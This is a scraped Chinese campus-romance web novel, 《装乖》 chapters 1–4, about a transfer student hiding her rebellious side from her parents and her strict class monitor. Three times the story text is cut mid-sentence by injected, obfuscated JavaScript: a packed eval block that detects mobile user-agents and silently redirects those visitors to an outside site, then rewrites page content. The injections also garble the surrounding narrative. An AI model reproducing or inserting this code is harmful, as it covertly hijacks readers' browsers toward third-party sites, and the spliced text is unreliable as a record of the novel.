《装乖》 1. 乖孩子 北川的九月中旬还很热,但是晚上已经有了些秋天的味道。 路灯昏黄,傅弦音漫无目的地踩着地上的落叶,下意识地把手伸进外套兜里,却摸出了一盒烟。 她愣了两秒,这才反应过来她拿了傅东远的外套。 外套上的烟味和香水味混在一起浓得噎人,傅弦音一回神就被呛得咳嗽不止。睫毛挂上泪珠,傅弦音忽然想笑。 时至今日,她都17了,竟然还会下意识地帮傅东远收拾烂摊子,抹掉他和各种女人鬼混的证据,维持这个早已破败不堪的“家”。 她晃晃悠悠走到北川一中门口,此时,下了晚自习的学生们鱼贯而出,傅弦音手里握着烟盒和打火机,忽然就想叛逆一把。 她知道自己脑子肯定是抽风了,但是在高中门口抽烟这点,傅弦音觉得很过瘾。 火舌舔上香烟的尾部,傅弦音狠狠地吸了一口,接着被呛得剧烈咳嗽。 她有些烦躁地叼着烟,刷下马尾的发绳,手指随便顺了顺,窝成了一个丸子头。 她在马路对面抽烟,下课的学生不禁侧目。 真的是脑子有问题,竟然莫名觉得这样很爽。 抽完一支,她随手把烟头捻灭,塞到西装兜里,又拿了一支。 西装可能挺贵,但她也不太在乎,反正最终归宿也只不过是被生气的陈慧梅剪碎罢了。 身后有男生的话顺着风传过来: “我靠,抽完直接塞衣服里,这姐姐猛啊。” 傅弦音随口接到:“对啊,姐姐当然猛。” 下一秒,另一道声线响了起来。 声音有些低,但是又带着少年独有的清朗:“同学,校规不让抽烟。” 傅弦音转身,看到了穿着校服的男生。 男生的碎刘海遮了一部分眉毛,黑发下面是一双澄澈干净的眼睛,狭长的眼尾微微上挑,是傅弦音也会说一声好看的程度。 她挑挑眉,笑眯眯道:“同学,或许我不是你们学校的呢?” 她身上没穿校服,背心短裤外面套了件长到大腿的西装,指尖夹着的烟忽明忽暗,烟味被风吹到男生那里。 他微微皱了皱眉毛,说了声抱歉。 傅弦音痞里痞气地吹了声口哨。 高中生是真的乖啊。 可能是男生长得实在好看,重度颜控的傅弦音觉得自己的心情也好了些。 她估摸着时间,陈慧梅和傅东远应该也吵完了,她可以回去洗洗睡了。 陈慧梅这些年在傅东远那些小三小四小五的挑衅下精神状况愈发不好,变得草木皆兵,一丁点动静就能引得她和傅东远吵一架。 以至于她忘了,她最开始也只不过是傅东远的一个情妇罢了。 傅弦音理解不了陈慧梅,也理解不了傅东远,在她的世界里,父母的意义除了血缘上被迫接受的联系外,就是为了让她这个生命存活下去。 至于怎么存活,如何存活,傅弦音觉得,陈慧梅和傅东远从没想过。 她慢慢走回酒店,准备按电梯时,傅弦音忽然发现了一个很重要的问题。 她出来的急,没带房卡,刷不了电梯。 而酒店定在了32楼。 傅弦音极度不喜爱运动,她叹了口气,靠在电梯口的墙边,拿着西装外套开始揪上面的头发。 傅东远跟在假发厂里滚了一圈似的,一件西装上竟然有十好几根长卷发。 傅弦音团团头发,准备抬手扔到一旁的垃圾桶里,身后忽然响起了熟悉的声音。 她转头,看到了校门口碰到的那个小帅哥。 少年看到她也愣了一瞬,傅弦音反应很快,立刻换上一双笑眼,她抱着脱下来的西装,耸了耸白净的肩膀,问道:“你住几楼呀?姐姐房卡忘带了,帮姐姐刷一下呗?” 背心短裤露出大片的皮肤,少年不动声色地移了一下视线,答道:“28。” 28也行,4楼和32楼之间的差距让傅弦音毫不犹疑地进了电梯,她靠在栏杆上,冲小帅哥眨了眨眼。 小帅哥背过身去,只留给傅弦音一个背影。 电梯上行很快,叮得一声到了28楼,小帅哥礼貌地按住按钮,让傅弦音先下。 临出电梯口时,傅弦音笑眯眯歪脑袋:“谢谢小帅哥。” 身后,顾临钊不动声色地皱了皱眉。 女孩身上的淡香和烟味和在一起,实在不怎么好闻。 陈慧梅和傅东远吵完了,不出傅弦音所料,傅东远又去开了个房,而陈慧梅在房间的套间里已经睡下了。 看着一地玻璃渣,傅弦音小心越过,刷牙时脑子忽然划过一个念头—— 玻璃杯都被陈慧梅摔了,也不知道这俩人怎么刷的牙。 次日。 傅弦音在落地窗前从天亮坐到天黑,傅东远和陈慧梅在外面从天亮吵到天黑。 中途傅弦音还出门拿了个外卖,傅东远和陈慧梅也没注意到她。 眼看就要到下午五点,傅东远忽然推门进来,语气疲惫不堪:“音音,去学校。” 傅弦音应了一声,快速收拾好自己,什么也没问,跟着两人就出了门。 五点半,傅弦音正好卡着时间踏进北川一中的校长办公室。 他们这次来北川就是为了给傅弦音办转学,傅东远受不了陈慧梅又哭又闹,于是把傅弦音直接从临澜转到了北川的重点高中。 原定计划是今天一早先去北川一中考察,结果陈慧梅从早上起来就开始闹,两人再次大吵一架,一直到了现在。 傅弦音对此倒是习以为常,她今天穿了身白色的衬衫裙,高高的马尾垂到后背,脚下蹬了一双黑色的小皮鞋。 看起来就是一副乖巧的学生样。 傅东远早就和校长打好了招呼,此时脸上堆起笑容,正在和对方寒暄。 陈慧梅则拉着傅弦音去找班主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060431|137705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任。 班主任是个中年女人,瞧起来十分干练,陈慧梅在走廊和班主任聊天,傅弦音就百无聊赖地靠在墙上,只是脸上还端得一副听话脸。 15班正在上自习,傅弦音靠在后门,正好能听见里面男生窸窣的讨论声。 “哎,听说我们班好像转过来个同学,我今早就看到高姐在办公室忙活。你说,都高三了,怎么还转到我们这里来。” 另一道声音听起来有些耳熟:“转学生不是很正常,北川一中每年不都有各种牛逼的大人物塞进来的孩子。” 这人对此兴致缺缺:“真的可惜,昨天下课我和钊哥在校门口看到了个抽烟的姐姐,长得巨好看,我还以为是咱学校的,没想到不是。” 抽烟的姐姐? 傅弦音挑挑眉,不动声色地往后门移了一步。 男生还在小声说:“真的,长得超级好看,真的后悔没要联系方式。” 傅弦音嘴角勾了勾,撇见陈慧梅的眼神,又飞快地压了下来。 高老师已经往门口走了走,然而陈慧梅半点眼力价也没,还在不停絮叨。 离得近了,屋内的人也听到了陈慧梅的话。 傅弦音看着屋内一双双脑袋悄咪咪地往外看。 “哎我靠!就是这个姐姐!牛啊!” 男生忽然兴奋起来,和傅弦音打了个招呼,傅弦音转头,视线忽然和窗边的男生相对。 她脸盲,其实对人脸记得并不太清,但是窗边这个小帅哥长得实在好看,好看的根本忘不了。 傅弦音忽然觉得有些不妙。 她在陈慧梅和傅东远面前装了17年的听话孩子,从小到大在老师同学眼里也都是乖乖女,结果昨天好不容易放纵一下,头一次抽烟就被同班同学看见了。 这以后可怎么装? 她错开视线,看到男生桌上贴着的名字。 顾临钊。 陈慧梅声音越说越大,傅弦音确信屋内的小帅哥和他的好兄弟们一定能听见。 “高老师,麻烦你多多关照我们音音了,她基础不太好,麻烦你费心了呀。” 高老师礼貌答应:“我会的,音音看起来就是个乖孩子。” 陈慧梅猛点头:“对的呀,我们音音从小到大就是个乖孩子,一心好好学习,什么旁门左道都不干的。” “乖孩子。” 顾临钊轻轻重复,估计是想起了昨晚的傅弦音,忍不住笑了笑。 傅弦音耳朵都红了,她隔着玻璃缝瞎扯:“我叫傅弦音,昨天你看到的是我姐,傅弦乐。” 话音刚落,陈慧梅就继续道:“高老师,我家音音是独生子,我下半辈子就靠她了呀。” 草。 屋里的人已经忍不住笑出声来。傅弦音看到顾临钊边上的男生脸都憋红了。 她耳朵红的发烫,咬牙切齿地扯了扯陈慧梅的衣角。 “妈,求你了,别说了。” 2. 翻墙 陈慧梅不明所以地瞪了傅弦音一眼,但到底是没再说。 傅弦音瞥到旁边的班主任轻轻松了口气,接着对她说:“来吧,傅弦音同学,进教室先找个位置坐下,等会老师带你去拿书。” 傅弦音乖巧地点点头,跟着班主任走进教室。 教室大约四十来个人,唯一的空位还是讲台边上的右护法。班主任扫视一圈,迅速决断: “林安旭,你过来,坐这。” 全班哄堂大笑,顾临钊边上那个男生垂头丧气地收拾书包,声音恹恹的:“高姐,我上午才刚搬下去。” 高颖丝毫不留情面:“照你这样早晚的再搬上来,快点,别墨迹。” 林安旭慢吞吞地挪到右护法的位置,高颖拍拍傅弦音的肩膀:“傅弦音,你就坐刚才林安旭的位置。班长,记得把校规校纪给新同学说一遍。” 傅弦音小声地“啊”了一下。 怪不得呢,原来顾临钊是班长。 坐位排好,高老师接着又去带傅弦音拿了课本校服,傅弦音书包装得满满的,手上甚至都还拎了一个高老师给她翻出来的包。 “我办公室在三楼东头,有问题直接来找我就好。” 傅弦音点点头。 她回去时已经下课了。这节课是下午最后一节课,下课后就是晚饭时间,接着七点再回来上晚自习。 傅弦音回教室时顾临钊并不在座位上,林安旭看见她来伸手挥了挥:“美女姐姐?” 傅弦音笑了笑:“嗯?” 林安旭:“顾临钊今晚有点事,他上午给高姐请了晚自习假,高姐可能忘了,你先加下我微信吧,然后我等会把顾临钊推给你。” 傅弦音点点头:“好。” 两人扫了好友,林安旭交待完顾临钊吩咐的,又问傅弦音:“你有什么要帮忙的你就跟我说,随时麻烦。” 林安旭性格很好,傅弦音被带得心情也不错,林安旭说完后就去食堂吃饭了,傅弦音也不饿,于是拿着刚才班主任给的钥匙就回了趟宿舍。 傅东远有钱能使鬼推磨,不知道跟校长怎么说的,给傅弦音整了个单人间住。宿舍内部环境很好,甚至连独立洗衣机都有,浴室也是干湿分离的。 被褥是学校统一发的,有一股浅浅的霉味,这个点洗了晚上也不干,于是傅弦音只把校服丢到洗衣机里面洗。 趁着洗衣服的空档,她把宿舍里里外外全部都打扫了一遍。 打扫完,衣服也洗得差不多,傅弦音喘了口气,接着就打算去买点东西。 这次来的匆忙,匆忙到傅弦音连衣服都没收拾,清早起来就被陈慧梅拉着上了飞机,接着就到了B市。 于是现在到了宿舍,面临住校,傅弦音后知后觉发现自己当晚换洗的内衣都没有。 她把校服晾上,刚一出宿舍门手机就响了起来。 傅弦音看着“陈慧梅”三个字犹豫了一瞬间,最终还是接了起来。 电话那头,陈慧梅的语气是一如既往的凄苦:“音音啊,你爸又出去鬼混了,就这么几个小时他都不安生,这日子到底怎么过啊。” 傅弦音低声道:“妈,傅东远公司总部在这里,说不定是去公司了。” 陈慧梅声音蓦然尖锐起来:“什么去公司!去个狗屁公司!他就是去鬼混了!不知道又要再找多少女人!” “音音啊。”陈慧梅好像是哭了,声音嘶哑,一声一声地敲得傅弦音脑子嗡嗡作响:“我就靠你了,你一定要争气啊,你爸的公司最后一定要是你的啊。” “傅东远靠不住,你得靠得住啊,妈这辈子真的就指望你了。” 陈慧梅的声音像是一张密不透风的网,把傅弦音整个人包裹起来,一点空隙都不留。 怎么总是这样呢。 傅弦音想。 她有些无力。 陈慧梅还在控诉傅东远,这一通电话仿佛没有头。 她听不进去傅弦音的劝言,听不进去傅弦音的安慰,忽视掉所有可能的事实,一心控诉着傅东远的所作所为。 天好像是忽然暗了下来,树叶飘落,掉在傅弦音头顶,她摘下那片有些发黄的叶子,声音冷静: “陈慧梅,你有完没完。” 电话那头静了一瞬,傅弦音赶在陈慧梅爆发出下一场尖叫前说道: “和傅东远离婚,算我求你,行吗?” 出乎意料的,陈慧梅并没有再继续大喊大叫。 她喃喃自语,声音太低,傅弦音还没听清电话就被挂断。 被陈慧梅这一耽搁,傅弦音彻底错过了出校门的时间。 门卫大爷见她没有请假条不让她出去,傅弦音没办法打算去找班主任,然而班主任今晚也不在,她找了一圈愣是没找到能帮她出校门的人。 陈慧梅和傅东远的电话都打不通,傅弦音坐在学校围墙下,看了眼头顶的摄像头。 五分钟后,傅弦音忽略兜里手机叮叮咚咚的提示音,跨坐在围墙上。 不知道是谁一直哐哐哐给她发消息,傅弦音烦得不行,刚准备从围墙上翻下去,忽然一道熟悉的声音响了起来: “傅弦音?” 傅弦音低头,看到围墙下,顾临钊拎着校服外套,正抬头看着她。 场面一度尴尬。 傅弦音的衬衫裙有些皱,虽然裙子长到小腿,翻个墙什么也露不出来,但到底还是不雅观。 顾临钊撇开头咳了一声:“你先下来。” 傅弦音利落地跳下围墙,拍拍裙子上的灰。 顾临钊面无表情地看着她:“我给你发的校规校纪你有没有看?” 傅弦音:? 她摸出手机,看到顾临钊通过她的好友申请后连续发了一堆消息。 三张校规校纪的图片,还有两条文字补充。 一条是[最后一张图最后那句没拍清晰的话是禁止翻墙。] 另一条是[班长会根据扣分制度对班级同学扣分。] 漂亮。 不光踩雷,还一踩踩两个。 傅弦音觉得自己真的很适合去越南挖地雷。 她心中万马奔腾,顾临钊内心也不太镇定。 校规校纪这种东西其实各个学校都大同小异,因此顾临钊也没觉得晚两分钟发会有什么。 虽然他没觉得傅弦音是个多乖的人,但在学校上晚自习的功夫能闹出什么事? 事实证明,是他低估了傅弦音。 她确实很能闹出事来的。 两人之间短暂地寂静了一瞬,傅弦音接着就反应过来,她走进两步,站在路灯下,举起手机说道:“班长,我可以解释的。” 她没等顾临钊说话就飞快开口:“我来北川来得急,衣服什么的全都没带,被褥这个点洗了也不干,我连今晚住校的东西都没有。” 她点开聊天记录,露出傅东远和陈慧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060432|137705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梅那两条未接电话:“我给我爸妈打了电话,但是他们没接,班主任也不在学校,门卫大爷不让我出校门,翻墙这个实在是下下策。” 顾临钊没说话。 傅弦音叹了口气:“班长,扣分这个,能不能通融通融。” “不能。” 顾临钊眉毛微微拧起,果断拒绝。 傅弦音料到自己这个铁面无私的同桌不好说话,她扬扬唇角,马尾辫甩了甩:“不是不扣分,分肯定是要扣的,就是这个原因可不可以给我改一下。” 她掰着手指头举例:“比如说改成没交作业,或者是上课迟到之类的。” 这个要求有些奇怪,顾临钊略微诧异地看了她一眼。 傅弦音大大方方的站着,没有丝毫遮掩。 顾临钊没说好,也没说不好。 两人之间气氛微僵,大约有半分钟后,傅弦音忍不住了,她看了眼时间,叹了口气:“扣就扣吧,班长你看着来,我得去买东西了,再晚点商场都要关门了。” 顾临钊本来垂着眸子,听到她的话后抬眼说:“我跟你一起去。” 傅弦音眼睛睁大了些。 顾临钊声音平淡,听起来没什么情绪:“我有假条,你没有。你自己去买完东西打算怎么回宿舍,再翻一次墙?” 傅弦音脑子也没傻:“但是班长,一个人的假条也不能当两个人的用吧。” 她往前走了一步,抬头看顾临钊:“班长打算带头违反校规吗?” 顾临钊轻笑一声:“不是,是看看你打算从哪里再翻墙回宿舍,再给你记上一笔。” 傅弦音:…… 你好毒。 她忽然和顾临钊杠了起来:“那我今晚不回去了。” 顾临钊竟然也点点头:“好,那就是私自外出离校,要全校通报。” 傅弦音:…… 妈的。 她放弃和顾临钊杠这个,并下定决心从此以后要好好学习北川一中的校纪校规。 “走了。” 顾临钊招招手,路边不知什么时候停了一辆出租车,顾临钊扬扬下巴:“上车,去买东西。” 傅弦音没推却,打开后座上了车。 车子很快就在一个商场门口停下,顾临钊看了眼手机:“你要买什么自己买,我不跟你进去了,一个半小时够吗?” 傅弦音点点头:“够。” 顾临钊:“那九点回去,我就在这里等你,找不到我就给我打电话。” “好。”傅弦音想了想,很诚恳地说道:“谢谢班长。” 顾临钊:“不用谢,记得今晚回去想想怎么写检讨。” 傅弦音大吃一惊:“不是扣够10分才写检讨吗?翻墙是8分,我还差两分。” 顾临钊:“晚上私自外出离校是10分,加起来18了。” “这俩要加到一起算的吗?”傅弦音拧起眉头:“这不合理。晚上翻墙肯定就是私自外出离校,那这两条应该直接算在一起,而不是再单独加一条。” 她点开图片,划了两下,说道:“班长,这里写了,为班规提出建设性意见的人可以加两分。” “外出离校不算翻墙就是10分,再加两分的话我现在只扣了八分,不用写检讨的。” 少女目光定定,清澈的眼珠里迎着夜晚商场的灯火。 她红润的嘴巴一开一合:“班长,求你了,做个人吧。” 3. 不疼么 顾临钊想的还是挺周全的。 傅弦音心道,如果顾临钊跟她一起买东西,那她买内衣的时候不知道有多尴尬。 她一边逛街一边把顾临钊发的校规校纪都看了一边,北川一中平时要求学生住宿,两周大休一次,大休的周末末不上课,可以回家。而不大休的周末就需要在校内上自习,不过可以不用穿校服。 傅弦音身子高挑,什么衣服都能撑得起来。她一路逛一路买,看着尺码合适的就拿去找收银员帮忙结账,一整层楼逛完,傅弦音已经数不清自己买了多少衣服了。 她看了看表,将近九点。 不逛了,下次再说。 傅弦音拿起手机给顾临钊发了个消息: [班长,我在三楼西边的电梯口这里,我东西买的有点多,你能帮我拿一下嘛?] 顾临钊没多想就顺着电梯上了三楼,他在电梯口看到了两手空空的傅弦音,脚步一顿,问道: “东西呢?” 傅弦音摊了摊手:“太多了,都在店里,麻烦班长陪我去拿一下。” 顾临钊点点头。 两分钟后,他看着快要提不下的袋子,还有没走完的半匹楼,陷入了沉默。 有点多。 傅弦音这话还是说谦虚了。 他眼尾隐隐有些崩溃的痕迹:“还有多少?” 傅弦音沉默两秒,抿了抿唇:“这些是……一半吧。” 她买东西向来没个节制,这次时间缩短了,但是习惯使然,量还是没少。 傅弦音手上也提满了东西,她看着顾临钊手上的购物袋,忽然瞥到了一旁的箱包店。 她道:“班长你等我一下,我去买两个箱子。” 说完傅弦音转身进了箱包店,没几分钟就带着3个30寸的大箱子出来。 “班长,帮个忙行不?” 傅弦音指指箱子:“把衣服塞进去成吗?不用叠,直接塞就完事。” 她把手里的东西塞进了箱子里,顾临钊提着袋子好像有些不知所措,傅弦音也没多说什么,接过袋子塞进了另一个行李箱。 三个箱子塞得满满,傅弦音一手一个30寸的箱子和顾临钊走出了商场。 顾临钊已经打好了车,两人一路回学校,此时晚自习还没下课,门卫大爷有些警惕地看着两个人。 顾临钊刚要拿假条,傅弦音先他一步挤到了大爷面前: “爷爷,我叫傅弦音,高三十五班的,今天刚才转过来。我下午放学的时候和爸爸妈妈去买了点必需品,因为要住校了,爸爸妈妈舍不得我,所以耽搁得久了点,麻烦您通融通融行嘛?” 她看向顾临钊,又解释道:“这是我班长,刚才在街口碰到他了,他今晚请了晚自习的假,有假条的。” 傅弦音声音很轻,带着女孩子特有的温软,门卫大爷瞧她一身白裙,长得也很乖巧,又看着身后三个大行李箱,没多怀疑,看了眼顾临钊的假条就让他俩进去了。 进了小门没走几步,傅弦音就冲着顾临钊挑了挑眉:“怎么样班长?你看我也没给班级扣分,就按我说的,只扣八分,行吗?” 顾临钊没说话。 一直到女生宿舍楼下,他才松口:“行。” 宿舍没有电梯,顾临钊跟宿管阿姨说了一声,帮傅弦音一路把行李箱搬到四楼。 傅弦音只拎了个最轻的箱子。 两个箱子分量不小,顾临钊前额出了一层薄汗,他呼吸粗重了几分,对傅弦音道:“我就不往前走了,你自己回去吧。” 他视线下移,看到傅弦音白裙上翻墙时蹭到的灰,喉结滚动,说道: “翻墙这种事以后不要干了,校规校纪要认真遵守,不然会扣分,10分写检讨给高姐,15分叫家长。” 傅弦音问:“那老师家长会知道因为什么扣分的吗?” 顾临钊说:“会。” 傅弦音听话地点点头:“我知道了,我会好好加分的,谢谢班长。” 顾临钊没错过她话里的字眼。 是好好加分,而不是不扣分。 他看着面前的小姑娘,白裙皮鞋,长得也是清丽那一挂的,平时带着少女张扬的明媚,低低眉眼看起来又是听话乖巧的好学生。 但是他心里清楚,傅弦音和听话乖巧完全沾不上边。 他忽然有种预感,自己的班长以后当的未必会有多顺了。 ———— 清晨四点,傅弦音就从床上爬了起来。 她昨晚快速洗了个澡就睡了觉,衣服全都还在行李箱里,她专门定了闹钟今天收拾。 六点整,傅弦音进了教室。 她从前门进的,刚好和右护法林安旭视线相对,林安旭补了一早上的作业,看见傅弦音来后招了招手: “美女姐姐,今天第二节课就是生物,要查作业的,老师贼凶。” 说完他恍然反应起来:“奥忘记了,你昨天刚转过来,不用补。” 他歇了两秒就又开始奋笔疾书:“不说了不说了,再不写我就要死了。” 傅弦音瞥了一眼林安旭练习册的页数,坐到座位上也拿出生物练习册开始写。 她一直写到语文老师过来盯早读。 课文都是傅弦音背过的,一整个早读她都有些无聊,眼看着语文老师坐在讲台前不动了,她戳了戳顾临钊,悄咪咪问: “你们这里最近的一次考试是什么时候,范围到哪里?” 顾临钊说:“国庆放假前的月考。”他拿出一个本子给傅弦音看:“范围到这里。” 傅弦音看着本子上的字迹,问道:“我能抄一下吗?” 顾临钊毫不留情地合上本子:“早读时间,下课再抄。” 傅弦音耸耸肩。 行吧,下课抄就下课抄。 她看了眼时间,从桌洞里拿出来昨天晚上的数学卷子出来做。 顾临钊看着在语文早读上明目张胆地些数学卷子的女孩,到底也没说什么。 第一节课就是数学,傅弦音不想落下太多进度。 一方面是课本教材有些区别,另一方面她从前记的笔记还有错题本都没有带过来,复习起来到底还是有些不方便的。 离月考只有两个多星期,她时间不算很多。 陈慧梅只管她两件事,一是她活着,二是她成绩。 从小到大,在陈慧梅近乎压迫性的管理下,傅弦音的成绩一直在年级前列。 她只要一考不好陈慧梅就会开始哭诉自己有多惨,起先傅弦音还会真心实意地劝一劝,或是被陈慧梅情绪感染也哭成一团,然而随着年龄的增长,她变得越来越麻木。 陈慧梅一哭她只会心烦。 傅弦音很讨厌烦这种情绪,于是为了让自己不烦,她必须想方设法不让陈慧梅哭,而为了不让陈慧梅不哭,她必须考好。 特别是这一次,她一个学过一轮高三的人又和高三的学生一起参加月考,要是考不好,陈慧梅肯定哭得更厉害。 她翻了一下各科课本,找了个本子,给自己大体定了一个复习计划。 第一节课是数学,高姐的课。她从后门进来要走了顾临钊的卷子,俯身对傅弦音说:“你们两个看一份。” 傅弦音点点头,拿出自己的卷子放在桌上。 卷子上的字迹工整,每一道题都在旁边写了仔细的步骤,就连选择填空都不例外。 顾临钊有些意外地看了眼傅弦音。 高姐已经在上面开始讲,傅弦音的选择填空完全正确,思路也和陈姐教得一模一样。 这张卷子比较难,讲完选择填空只剩五分钟,高姐眼见讲不完,把卷子翻了个面,说道: “来,看一下最后一题。这一题稍微有点超纲,我简单讲一下思路,等我们讲完明天的新课你们再回去把这道题做一遍。” 她绕着教室走了一圈,不出意外的,最后一道题几乎全班都空着,绕道傅弦音这里时,高姐多看了两眼。 傅弦音最后一道题写的满满。 下课后,林安旭拿着自己的卷子愁眉苦脸地跑到后面来: “钊哥,最后一题我思路都没听懂,你把你卷子给我看看。” 顾临钊指了指傅弦音:“看她的,她写的比我细致。” 林安旭有些诧异:“美女姐姐,这题你也会啊。” 傅弦音从文件夹里拿出卷子:“那必然,你都叫我美女姐姐了,美女姐姐什么不会?” 她边递卷子边问:“你生物补完了?” 林安旭摇摇头:“没有,刚才体育老师说生物课和体育课换课了。” 他嘿嘿一笑:“我又多了一点时间。” 林安旭接过卷子翻了个面。 傅弦音自己工整,步骤清晰明确,一步没跳,确实比顾临钊劈叉似的过程看起来容易懂得多。 林安旭当场就倒戈:“美女姐姐,你以后数学作业能借我看看吗?我感觉抄你的作业比抄钊哥的作业效率高。” 傅弦音有些疑惑:“怎么个效率高法?他步骤少,不应该效率更高吗?” 林安旭摇摇头:“不不不,钊哥步骤太少,我就光抄了,根本看不懂,抄你的我还能看懂,一举两得。” 他看了眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060433|137705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后面挂着的表:“走走走,快上课了,赶紧逃离这个死亡的教室。” 体育课哪都差不多,热身跑完两圈后就开始自由活动,林安旭已经跑向了篮球,结果硬生生被体育老师提着领子提溜回来了。 “两周后月考了,咱从这节课开始测体育,一节课两个项目。” 他晃了晃秒表:“老规矩,男生女生分开站,这节课测50米和跳远。班长和体委,组织队形,我去那边记表。” 林安旭身手矫健地翻上看台,指挥着男生女生站好。 “来来来,女生在前男生在后,四人一组。” 队伍排好了,林安旭跑到体育老师那里,换成顾临钊在看台上吹哨。 傅弦音站在原地,忽然被人挤了一下。 边上的小姑娘声音不虞:“你能不能往那边一点啊,往这里挤什么?” 傅弦音看着站在自己右边的人不知道什么时候绕道了另一边,对上女生有些挑衅的眼神,没多计较,往右移了一个身位:“抱歉。” 女生哼了一声,视线不由自主地瞟向看台上的顾临钊。 到了傅弦音这组时,她刚摆好起跑姿势,就被顾临钊喊住: “傅弦音。” 她抬头,听顾临钊道:“别离看台这么近,容易碰到,往左一点,宋瑶歌,你们三个都往左移一些。” 傅弦音旁边被叫做宋瑶歌的女生抿了抿唇,面上露出几分难堪。 等她们准备好了,顾临钊才开始吹哨。 尖锐的哨声吓了傅弦音一跳,她晃了晃神,起跑慢了一步,刚要冲出去,忽然左侧一股猛烈的撞击力把她整个人推到了看台的墙边。 宋瑶歌坐在地上瞬间哭出了声,她指着傅弦音喊道: “你干什么呀,顾临钊刚才说了让你往左又没让你这么往左,你挤我干什么,我脚腕都扭伤了,文艺汇演怎么办啊!” 傅弦音心说我何其无辜。 宋瑶歌泣不成声,她的小姐妹立刻团团围住她,一句一句地数落着傅弦音的不是。 然而数落了没两句,傅弦音带着哭腔的声音也响了起来: “宋瑶歌,你别这么欺负人。我们两个撞了怎么能全都是我的错,我明明就在我这条跑道上。” 她这句话乍一听没什么说服力,相比于宋瑶歌扭伤的脚腕,没有受伤的傅弦音仿佛理所当然地成了罪魁祸首。 只是下一秒。 傅弦音伸出自己的右腿,膝盖上的校服布料破破烂烂,已经被血浸透,把校服裤子晕深了一大片。 她疼得抽气,眼泪不住滚下:“我也被你撞到了看台上,我伤的比你还重,我都没有说你,你干嘛上来就说我的不是啊!” 宋瑶歌愣了。 她小姐妹也愣了。 周围的同学都不忍心看傅弦音,众人没说话,但是看向宋瑶歌的眼神多少变了些。 两个人的伤情明显不在同意程度上。 宋瑶歌的脚踝肿都没怎么肿,而傅弦音的膝盖被撞得流了这么多血。 体育老师也走过来,他看着傅弦音膝盖上的伤就沉下了脸。 他对顾临钊说:“班长过来,扶她去医务室消消毒。” 顾临钊从看台上跳下来,搀住傅弦音的胳膊,一步一步地扶着人往医务室走。 操场走过了一半,傅弦音脸上的泪被风吹干,她一声没吭,情绪迅速恢复正常。 顾临钊的声音从侧方传来: “我看到了。” 傅弦音点点头:“那不正好,班长正好可以帮我作证不是我撞得她,给我洗脱嫌疑。” 顾临钊沉默良久,一句话没说。 医务室的医生给傅弦音消了毒,做了简单的包扎,傅弦音坐在病床上晃荡腿。 “不疼么?” 腿上的药把伤口杀得巨疼,傅弦音龇牙咧嘴:“你在说什么话,你撞撞试试?” 少年有些闷的声音从不远处传来:“疼你还撞。” 他站在看台上看得很清楚。 宋瑶歌有意想要拉一把傅弦音,拖慢对方进度,然而失误之下和傅弦音撞倒了一起。 而傅弦音腿上的伤根本不是那时候撞出来的,而是宋瑶歌控诉傅弦音时她在粗粝的看台墙面上一下一下自己磨出来的。 傅弦音没意外顾临钊说这话。 他那个角度,肯定能看清她干了什么。 医务室的窗户没关,白色的窗帘被风吹起,搭在傅弦音肩膀上。 她无所谓地笑了笑:“那怎么办呢?班长你给我支个招,我看看我还有什么别的办法,下次试一试。” 4. 杨枝甘露 剩下半节体育课傅弦音自然没再上,她看着顾临钊,表示自己可以单脚蹦跶到教室后,就目送着顾临钊原路返回了操场。 然后她正常的走回了教室。 疼和单脚蹦跶所带来的愚蠢形象相比,傅弦音觉得这点疼丝毫不算什么。 教室里只有前排坐着一个小姑娘,傅弦音一是不认识她,而是走后门也和对方打不了照面,于是也没打招呼。 但是小姑娘瞧起来是个自来熟,在她发现后排有人后,接着就屁颠屁颠地过来拉了把椅子坐在了傅弦音边上。 她友好地笑着:“我叫程昭昭,你叫傅弦音对吧,是哪个弦哪个音呀?” 傅弦音摊开课本,指着上面的名字,轻轻道:“诺,是这个弦,这个音。” 傅弦音说话时凑得近,鼻息甚至都喷到了程昭昭的手背上,程昭昭抬眼就是傅弦音面若白瓷的一张脸,心跳倏地不听话加速起来。 她搬着板凳往后退了一步,和傅弦音拉开距离,小仓鼠摆手似的说道:“天哪你不要离我这么近,我脸都要红了。” 说完,程昭昭又小心翼翼地看了一眼傅弦音。 女孩的脸上满是胶原蛋白,这个距离甚至都能看清楚她挺翘鼻尖上的小小绒毛,睫毛又浓又长,在眼尾处收成一条含蓄的线,微微上挑着。 她这么想着,也直接说出来了:“你真的好漂亮啊。” 傅弦音这辈子被长辈夸过乖巧,被男生夸过好看,但是面对同性这种赤裸裸的示好还真没经历过几回。 她发自内心地笑弯了眼:“谢谢呀,你也很好看。” 